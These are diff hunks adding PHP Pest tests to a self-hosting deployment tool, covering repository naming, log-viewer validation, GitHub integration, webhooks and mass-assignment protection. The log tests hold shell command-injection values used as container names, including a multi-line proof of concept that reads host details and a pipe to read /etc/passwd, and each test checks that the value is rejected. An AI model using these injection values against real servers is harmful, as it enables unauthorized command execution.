||||
});
|
||||
});
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
test('generate_application_name strips owner from git repository', function () {
|
||||
$name = generate_application_name('coollabsio/coolify', 'main', 'test123');
|
||||
|
||||
expect($name)->toBe('coolify:main-test123');
|
||||
expect($name)->not->toContain('coollabsio');
|
||||
});
|
||||
|
||||
test('generate_application_name handles repository without owner', function () {
|
||||
$name = generate_application_name('coolify', 'main', 'test123');
|
||||
|
||||
expect($name)->toBe('coolify:main-test123');
|
||||
});
|
||||
|
||||
test('generate_application_name handles deeply nested repository path', function () {
|
||||
$name = generate_application_name('org/sub/repo-name', 'develop', 'abc456');
|
||||
|
||||
expect($name)->toBe('repo-name:develop-abc456');
|
||||
expect($name)->not->toContain('org');
|
||||
expect($name)->not->toContain('sub');
|
||||
});
|
||||
@@ -0,0 +1,162 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\GetLogs;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
// Server::created auto-creates a StandaloneDocker, reuse it
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
describe('GetLogs locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'container');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('server property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'server');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resource property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'resource');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('servicesubtype property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'servicesubtype');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('GetLogs Livewire action validation', function () {
|
||||
test('getLogs rejects invalid container name', function () {
|
||||
// Make server functional by setting settings directly
|
||||
$this->server->settings->fill([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
])->save();
|
||||
// Reload server with fresh settings to ensure casted values
|
||||
$server = Server::with('settings')->find($this->server->id);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $server,
|
||||
'resource' => $this->application,
|
||||
'container' => 'container;malicious-command',
|
||||
])
|
||||
->call('getLogs')
|
||||
->assertSet('outputs', 'Invalid container name.');
|
||||
});
|
||||
|
||||
test('getLogs rejects unauthorized server access', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $otherServer,
|
||||
'resource' => $this->application,
|
||||
'container' => 'test-container',
|
||||
])
|
||||
->call('getLogs')
|
||||
->assertSet('outputs', 'Unauthorized.');
|
||||
});
|
||||
|
||||
test('downloadAllLogs returns empty for invalid container name', function () {
|
||||
$this->server->settings->fill([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
])->save();
|
||||
$server = Server::with('settings')->find($this->server->id);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $server,
|
||||
'resource' => $this->application,
|
||||
'container' => 'container$(whoami)',
|
||||
])
|
||||
->call('downloadAllLogs')
|
||||
->assertReturned('');
|
||||
});
|
||||
|
||||
test('downloadAllLogs returns empty for unauthorized server', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $otherServer,
|
||||
'resource' => $this->application,
|
||||
'container' => 'test-container',
|
||||
])
|
||||
->call('downloadAllLogs')
|
||||
->assertReturned('');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GetLogs container name injection payloads are blocked by validation', function () {
|
||||
test('newline injection payload is rejected', function () {
|
||||
// The exact PoC payload from the advisory
|
||||
$payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#";
|
||||
expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse();
|
||||
});
|
||||
|
||||
test('semicolon injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('backtick injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('command substitution injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('pipe injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('valid container names are accepted', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,164 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\New\GithubPrivateRepository;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->rsaKey = openssl_pkey_new([
|
||||
'private_key_bits' => 2048,
|
||||
'private_key_type' => OPENSSL_KEYTYPE_RSA,
|
||||
]);
|
||||
openssl_pkey_export($this->rsaKey, $pemKey);
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => $pemKey,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$this->githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'app_id' => 12345,
|
||||
'installation_id' => 67890,
|
||||
'client_id' => 'test-client-id',
|
||||
'client_secret' => 'test-client-secret',
|
||||
'webhook_secret' => 'test-webhook-secret',
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
});
|
||||
|
||||
function fakeGithubHttp(array $repositories): void
|
||||
{
|
||||
Http::fake([
|
||||
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
|
||||
'Date' => now()->toRfc7231String(),
|
||||
]),
|
||||
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
|
||||
'token' => 'fake-installation-token',
|
||||
], 201),
|
||||
'https://api.github.com/installation/repositories*' => Http::response([
|
||||
'total_count' => count($repositories),
|
||||
'repositories' => $repositories,
|
||||
], 200),
|
||||
]);
|
||||
}
|
||||
|
||||
describe('GitHub Private Repository Component', function () {
|
||||
test('loadRepositories fetches and displays repositories', function () {
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->assertSet('current_step', 'github_apps')
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('current_step', 'repository')
|
||||
->assertSet('total_repositories_count', 2)
|
||||
->assertSet('selected_repository_id', 1);
|
||||
});
|
||||
|
||||
test('loadRepositories can be called again to refresh the repository list', function () {
|
||||
$initialRepos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
$updatedRepos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
|
||||
['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
$callCount = 0;
|
||||
Http::fake([
|
||||
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
|
||||
'Date' => now()->toRfc7231String(),
|
||||
]),
|
||||
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
|
||||
'token' => 'fake-installation-token',
|
||||
], 201),
|
||||
'https://api.github.com/installation/repositories*' => function () use (&$callCount, $initialRepos, $updatedRepos) {
|
||||
$callCount++;
|
||||
$repos = $callCount === 1 ? $initialRepos : $updatedRepos;
|
||||
|
||||
return Http::response([
|
||||
'total_count' => count($repos),
|
||||
'repositories' => $repos,
|
||||
], 200);
|
||||
},
|
||||
]);
|
||||
|
||||
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('total_repositories_count', 1);
|
||||
|
||||
// Simulate new repos becoming available after changing access on GitHub
|
||||
$component
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('total_repositories_count', 3)
|
||||
->assertSet('current_step', 'repository');
|
||||
});
|
||||
|
||||
test('loadRepositories resets branches when refreshing', function () {
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $this->githubApp->id);
|
||||
|
||||
// Manually set branches to simulate a previous branch load
|
||||
$component->set('branches', collect([['name' => 'main'], ['name' => 'develop']]));
|
||||
$component->set('total_branches_count', 2);
|
||||
|
||||
// Refresh repositories should reset branches
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
$component
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSet('total_branches_count', 0)
|
||||
->assertSet('branches', collect());
|
||||
});
|
||||
|
||||
test('refresh button is visible when repositories are loaded', function () {
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $this->githubApp->id)
|
||||
->assertSee('Refresh Repository List');
|
||||
});
|
||||
|
||||
test('refresh button is not visible before repositories are loaded', function () {
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->assertDontSee('Refresh Repository List');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
describe('GitHub Manual Webhook', function () {
|
||||
test('ping event returns pong', function () {
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', [], [
|
||||
'X-GitHub-Event' => 'ping',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('pong');
|
||||
});
|
||||
|
||||
test('unsupported event type returns graceful response instead of 500', function () {
|
||||
$payload = [
|
||||
'action' => 'published',
|
||||
'registry_package' => [
|
||||
'ecosystem' => 'CONTAINER',
|
||||
'package_type' => 'CONTAINER',
|
||||
'package_version' => [
|
||||
'target_commitish' => 'main',
|
||||
],
|
||||
],
|
||||
'repository' => [
|
||||
'full_name' => 'test-org/test-repo',
|
||||
'default_branch' => 'main',
|
||||
],
|
||||
];
|
||||
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', $payload, [
|
||||
'X-GitHub-Event' => 'registry_package',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('not supported');
|
||||
});
|
||||
|
||||
test('unknown event type returns graceful response', function () {
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', ['foo' => 'bar'], [
|
||||
'X-GitHub-Event' => 'some_unknown_event',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('not supported');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GitHub Normal Webhook', function () {
|
||||
test('unsupported event type returns graceful response instead of 500', function () {
|
||||
$payload = [
|
||||
'action' => 'published',
|
||||
'registry_package' => [
|
||||
'ecosystem' => 'CONTAINER',
|
||||
],
|
||||
'repository' => [
|
||||
'full_name' => 'test-org/test-repo',
|
||||
],
|
||||
];
|
||||
|
||||
$response = $this->postJson('/webhooks/source/github/events', $payload, [
|
||||
'X-GitHub-Event' => 'registry_package',
|
||||
'X-GitHub-Hook-Installation-Target-Id' => '12345',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
// Should not be a 500 error - either 200 with "not supported" or "No GitHub App found"
|
||||
$response->assertOk();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,73 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('creates application settings for internally created applications', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$environment = Environment::factory()->create([
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$destination = $server->standaloneDockers()->firstOrFail();
|
||||
|
||||
$application = Application::create([
|
||||
'name' => 'internal-app',
|
||||
'git_repository' => 'https://github.com/coollabsio/coolify',
|
||||
'git_branch' => 'main',
|
||||
'build_pack' => 'nixpacks',
|
||||
'ports_exposes' => '3000',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$setting = ApplicationSetting::query()
|
||||
->where('application_id', $application->id)
|
||||
->first();
|
||||
|
||||
expect($application->environment_id)->toBe($environment->id);
|
||||
expect($setting)->not->toBeNull();
|
||||
expect($setting?->application_id)->toBe($application->id);
|
||||
});
|
||||
|
||||
it('creates services with protected relationship ids in trusted internal paths', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$environment = Environment::factory()->create([
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$destination = $server->standaloneDockers()->firstOrFail();
|
||||
|
||||
$service = Service::create([
|
||||
'docker_compose_raw' => 'services: {}',
|
||||
'environment_id' => $environment->id,
|
||||
'server_id' => $server->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'service_type' => 'test-service',
|
||||
]);
|
||||
|
||||
expect($service->environment_id)->toBe($environment->id);
|
||||
expect($service->server_id)->toBe($server->id);
|
||||
expect($service->destination_id)->toBe($destination->id);
|
||||
expect($service->destination_type)->toBe($destination->getMorphClass());
|
||||
});
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
it('registers geist mono from a local asset for log surfaces', function () {
|
||||
$fontsCss = file_get_contents(resource_path('css/fonts.css'));
|
||||
$appCss = file_get_contents(resource_path('css/app.css'));
|
||||
$fontPath = resource_path('fonts/geist-mono-variable.woff2');
|
||||
$geistSansPath = resource_path('fonts/geist-sans-variable.woff2');
|
||||
|
||||
expect($fontsCss)
|
||||
->toContain("font-family: 'Geist Mono'")
|
||||
->toContain("url('../fonts/geist-mono-variable.woff2')")
|
||||
->toContain("font-family: 'Geist Sans'")
|
||||
->toContain("url('../fonts/geist-sans-variable.woff2')")
|
||||
->and($appCss)
|
||||
->toContain("--font-sans: 'Geist Sans', Inter, sans-serif")
|
||||
->toContain('@apply min-h-screen text-sm font-sans antialiased scrollbar overflow-x-hidden;')
|
||||
->toContain("--font-logs: 'Geist Mono'")
|
||||
->toContain("--font-geist-sans: 'Geist Sans'")
|
||||
->and($fontPath)
|
||||
->toBeFile()
|
||||
->and($geistSansPath)
|
||||
->toBeFile();
|
||||
});
|
||||
|
||||
it('uses geist mono for shared logs and terminal rendering', function () {
|
||||
$sharedLogsView = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php'));
|
||||
$deploymentLogsView = file_get_contents(resource_path('views/livewire/project/application/deployment/show.blade.php'));
|
||||
$activityMonitorView = file_get_contents(resource_path('views/livewire/activity-monitor.blade.php'));
|
||||
$dockerCleanupView = file_get_contents(resource_path('views/livewire/server/docker-cleanup-executions.blade.php'));
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($sharedLogsView)
|
||||
->toContain('class="font-logs max-w-full cursor-default"')
|
||||
->toContain('class="font-logs whitespace-pre-wrap break-all max-w-full text-neutral-400"')
|
||||
->and($deploymentLogsView)
|
||||
->toContain('class="flex flex-col font-logs"')
|
||||
->toContain('class="font-logs text-neutral-400 mb-2"')
|
||||
->and($activityMonitorView)
|
||||
->toContain('<pre class="font-logs whitespace-pre-wrap"')
|
||||
->and($dockerCleanupView)
|
||||
->toContain('class="flex-1 text-sm font-logs text-gray-700 dark:text-gray-300"')
|
||||
->toContain('class="font-logs text-sm text-gray-600 dark:text-gray-300 whitespace-pre-wrap"')
|
||||
->and($terminalClient)
|
||||
->toContain('"Geist Mono"');
|
||||
});
|
||||
@@ -0,0 +1,248 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneClickhouse;
|
||||
use App\Models\StandaloneDragonfly;
|
||||
use App\Models\StandaloneKeydb;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
describe('mass assignment protection', function () {
|
||||
|
||||
test('no API-exposed model uses unguarded $guarded = []', function () {
|
||||
$models = [
|
||||
Application::class,
|
||||
Service::class,
|
||||
User::class,
|
||||
Team::class,
|
||||
Server::class,
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
$guarded = $model->getGuarded();
|
||||
$fillable = $model->getFillable();
|
||||
|
||||
// Model must NOT have $guarded = [] (empty guard = no protection)
|
||||
// It should either have non-empty $guarded OR non-empty $fillable
|
||||
$hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true;
|
||||
$hasProtection = $hasProtection || count($fillable) > 0;
|
||||
|
||||
expect($hasProtection)
|
||||
->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application model blocks mass assignment of relationship IDs', function () {
|
||||
$application = new Application;
|
||||
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id'];
|
||||
|
||||
foreach ($dangerousFields as $field) {
|
||||
expect($application->isFillable($field))
|
||||
->toBeFalse("Application model should not allow mass assignment of '{$field}'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application model allows mass assignment of user-facing fields', function () {
|
||||
$application = new Application;
|
||||
$userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status'];
|
||||
|
||||
foreach ($userFields as $field) {
|
||||
expect($application->isFillable($field))
|
||||
->toBeTrue("Application model should allow mass assignment of '{$field}'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Server model has $fillable and no conflicting $guarded', function () {
|
||||
$server = new Server;
|
||||
$fillable = $server->getFillable();
|
||||
$guarded = $server->getGuarded();
|
||||
|
||||
expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable');
|
||||
|
||||
// Guarded should be the default ['*'] when $fillable is set, not []
|
||||
expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable');
|
||||
});
|
||||
|
||||
test('Server model blocks mass assignment of dangerous fields', function () {
|
||||
$server = new Server;
|
||||
|
||||
// These fields should not be mass-assignable via the API
|
||||
expect($server->isFillable('id'))->toBeFalse();
|
||||
expect($server->isFillable('uuid'))->toBeFalse();
|
||||
expect($server->isFillable('created_at'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('User model blocks mass assignment of auth-sensitive fields', function () {
|
||||
$user = new User;
|
||||
|
||||
expect($user->isFillable('id'))->toBeFalse('User id should not be fillable');
|
||||
expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable');
|
||||
expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable');
|
||||
expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable');
|
||||
expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable');
|
||||
expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable');
|
||||
expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable');
|
||||
expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable');
|
||||
});
|
||||
|
||||
test('User model allows mass assignment of profile fields', function () {
|
||||
$user = new User;
|
||||
|
||||
expect($user->isFillable('name'))->toBeTrue();
|
||||
expect($user->isFillable('email'))->toBeTrue();
|
||||
expect($user->isFillable('password'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('Team model blocks mass assignment of internal fields', function () {
|
||||
$team = new Team;
|
||||
|
||||
expect($team->isFillable('id'))->toBeFalse();
|
||||
expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)');
|
||||
expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)');
|
||||
});
|
||||
|
||||
test('Team model allows mass assignment of expected fields', function () {
|
||||
$team = new Team;
|
||||
|
||||
expect($team->isFillable('name'))->toBeTrue();
|
||||
expect($team->isFillable('description'))->toBeTrue();
|
||||
expect($team->isFillable('personal_team'))->toBeTrue();
|
||||
expect($team->isFillable('show_boarding'))->toBeTrue();
|
||||
expect($team->isFillable('custom_server_limit'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('standalone database models block mass assignment of relationship IDs', function () {
|
||||
$models = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type'];
|
||||
|
||||
foreach ($dangerousFields as $field) {
|
||||
expect($model->isFillable($field))
|
||||
->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('standalone database models allow mass assignment of config fields', function () {
|
||||
$model = new StandalonePostgresql;
|
||||
expect($model->isFillable('name'))->toBeTrue();
|
||||
expect($model->isFillable('postgres_user'))->toBeTrue();
|
||||
expect($model->isFillable('postgres_password'))->toBeTrue();
|
||||
expect($model->isFillable('image'))->toBeTrue();
|
||||
expect($model->isFillable('limits_memory'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneRedis;
|
||||
expect($model->isFillable('redis_conf'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneMysql;
|
||||
expect($model->isFillable('mysql_root_password'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneMongodb;
|
||||
expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('standalone database models allow mass assignment of public_port_timeout', function () {
|
||||
$models = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
expect($model->isFillable('public_port_timeout'))
|
||||
->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'");
|
||||
}
|
||||
});
|
||||
|
||||
test('standalone database models allow mass assignment of SSL fields where applicable', function () {
|
||||
$sslModels = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
];
|
||||
|
||||
foreach ($sslModels as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
expect($model->isFillable('enable_ssl'))
|
||||
->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'");
|
||||
}
|
||||
|
||||
// Clickhouse has no SSL columns
|
||||
expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse();
|
||||
|
||||
$sslModeModels = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMongodb::class,
|
||||
];
|
||||
|
||||
foreach ($sslModeModels as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
expect($model->isFillable('ssl_mode'))
|
||||
->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application fill ignores non-fillable fields', function () {
|
||||
$application = new Application;
|
||||
$application->fill([
|
||||
'name' => 'test-app',
|
||||
'environment_id' => 999,
|
||||
'destination_id' => 999,
|
||||
'team_id' => 999,
|
||||
'private_key_id' => 999,
|
||||
]);
|
||||
|
||||
expect($application->name)->toBe('test-app');
|
||||
expect($application->environment_id)->toBeNull();
|
||||
expect($application->destination_id)->toBeNull();
|
||||
expect($application->private_key_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('Service model blocks mass assignment of relationship IDs', function () {
|
||||
$service = new Service;
|
||||
|
||||
expect($service->isFillable('id'))->toBeFalse();
|
||||
expect($service->isFillable('uuid'))->toBeFalse();
|
||||
expect($service->isFillable('environment_id'))->toBeFalse();
|
||||
expect($service->isFillable('destination_id'))->toBeFalse();
|
||||
expect($service->isFillable('server_id'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,55 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\MessageBag;
|
||||
use Illuminate\Support\ViewErrorBag;
|
||||
|
||||
beforeEach(function () {
|
||||
$errors = new ViewErrorBag;
|
||||
$errors->put('default', new MessageBag);
|
||||
view()->share('errors', $errors);
|
||||
});
|
||||
|
||||
it('renders password input with Alpine-managed visibility state', function () {
|
||||
